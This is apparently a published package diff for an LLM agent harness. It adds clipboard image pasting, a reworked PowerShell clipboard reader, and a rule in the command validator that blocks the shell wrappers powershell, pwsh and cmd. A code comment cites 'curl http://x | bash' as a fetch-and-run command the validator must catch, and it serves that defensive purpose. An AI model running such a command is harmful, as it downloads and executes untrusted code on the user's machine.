micro-models-agent 0.16.5 → 0.16.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli/repl.js CHANGED
@@ -59,6 +59,7 @@ export class Repl {
59
59
  configDir;
60
60
  baseDir;
61
61
  noAgentsMd;
62
+ pendingClipboardImage = null;
62
63
  constructor(agent, config, sessionManager, skillsModule, pluginManager, configDir, baseDir, noAgentsMd) {
63
64
  this.agent = agent;
64
65
  this.config = config;
@@ -738,7 +739,7 @@ export class Repl {
738
739
  });
739
740
  if (process.stdin.isTTY) {
740
741
  readline.emitKeypressEvents(process.stdin);
741
- process.stdin.on("keypress", (str, key) => {
742
+ process.stdin.on("keypress", async (str, key) => {
742
743
  if (key.name === "escape") {
743
744
  const now = Date.now();
744
745
  if (now - this.lastEscTime < this.doubleEscDelay) {
@@ -751,6 +752,23 @@ export class Repl {
751
752
  }
752
753
  this.lastEscTime = now;
753
754
  }
755
+ // Ctrl+V: try to paste image from clipboard
756
+ if (key.ctrl && key.name === "v" && !this.agentRunning) {
757
+ try {
758
+ const { readClipboardImage, loadFileAsDataUrl } = await import("../llm/image-utils");
759
+ const clipPath = await readClipboardImage();
760
+ if (clipPath) {
761
+ const { dataUrl } = loadFileAsDataUrl(clipPath);
762
+ this.pendingClipboardImage = dataUrl;
763
+ const sizeKb = Math.round((dataUrl.length * 3) / 4 / 1024);
764
+ console.log(pc.green(`\n${t("image.attached", { source: "clipboard", size: `${sizeKb} KB` })}`));
765
+ this.rl.prompt();
766
+ }
767
+ }
768
+ catch {
769
+ // clipboard read failed — ignore, let terminal paste text normally
770
+ }
771
+ }
754
772
  });
755
773
  }
756
774
  // SIGINT: first Ctrl+C sends graceful shutdown, second forces exit
@@ -782,6 +800,17 @@ export class Repl {
782
800
  this.agentRunning = true;
783
801
  this.rl.pause();
784
802
  try {
803
+ // Attach pending clipboard image if Ctrl+V was pressed
804
+ if (this.pendingClipboardImage) {
805
+ const contextManager = this.agent.contextManager;
806
+ if (contextManager) {
807
+ contextManager.addPendingImage({
808
+ type: "image_url",
809
+ image_url: { url: this.pendingClipboardImage },
810
+ });
811
+ }
812
+ this.pendingClipboardImage = null;
813
+ }
785
814
  process.stdout.write("\n" + pc.green(t("repl.agent")));
786
815
  const renderer = new Renderer({ spinner: this.config.ui?.spinner ?? true });
787
816
  const result = await this.agent.run(input, (c) => renderer.text(c), (m) => renderer.meta(m), (ev) => {
@@ -63,17 +63,9 @@ async function readClipboardWindows() {
63
63
  try {
64
64
  const { execSync } = await import("child_process");
65
65
  const tmpPath = `${process.env.TEMP || process.env.TMP || "/tmp"}\\mma-clip-${Date.now()}.png`;
66
- const ps = [
67
- "Add-Type -AssemblyName System.Windows.Forms",
68
- "$img = [System.Windows.Forms.Clipboard]::GetImage()",
69
- "if ($img -ne $null) {",
70
- ` $img.Save("${tmpPath}")`,
71
- ' Write-Output "OK"',
72
- "} else {",
73
- ' Write-Output "EMPTY"',
74
- "}",
75
- ].join("; ");
76
- const out = execSync(`powershell -NoProfile -Command "${ps}"`, {
66
+ // Use single quotes in PowerShell to avoid backslash issues
67
+ const psScript = `Add-Type -AssemblyName System.Windows.Forms; $img = [System.Windows.Forms.Clipboard]::GetImage(); if ($img -ne $null) { $img.Save('${tmpPath}'); Write-Output 'OK' } else { Write-Output 'EMPTY' }`;
68
+ const out = execSync(`powershell -NoProfile -Command "${psScript}"`, {
77
69
  timeout: 5000,
78
70
  encoding: "utf-8",
79
71
  });
@@ -85,6 +85,16 @@ export function isCommandAllowed(command, securityConfig) {
85
85
  if (!trimmedCommand) {
86
86
  return { allowed: false, reason: "Empty command" };
87
87
  }
88
+ // Shell wrappers are always blocked — they bypass all command validation.
89
+ // The agent should use the bash tool directly, not shell interpreters.
90
+ const ALWAYS_BLOCKED = ['powershell', 'pwsh', 'cmd'];
91
+ const baseForShellCheck = extractBaseCommand(trimmedCommand);
92
+ if (ALWAYS_BLOCKED.includes(baseForShellCheck)) {
93
+ return {
94
+ allowed: false,
95
+ reason: `Shell wrapper "${baseForShellCheck}" is blocked — use the bash tool directly`,
96
+ };
97
+ }
88
98
  // Check dangerous operators FIRST — before parsing the base command.
89
99
  // e.g. "curl http://x | bash" must be caught even though curl isn't blacklisted.
90
100
  if (config.blockDangerousFlags) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "micro-models-agent",
3
- "version": "0.16.5",
3
+ "version": "0.16.7",
4
4
  "description": "Micro Models Agent (MMA) — LLM agent harness for small models (Qwen3.5-9B, 32K-64K context)",
5
5
  "type": "module",
6
6
  "bin": {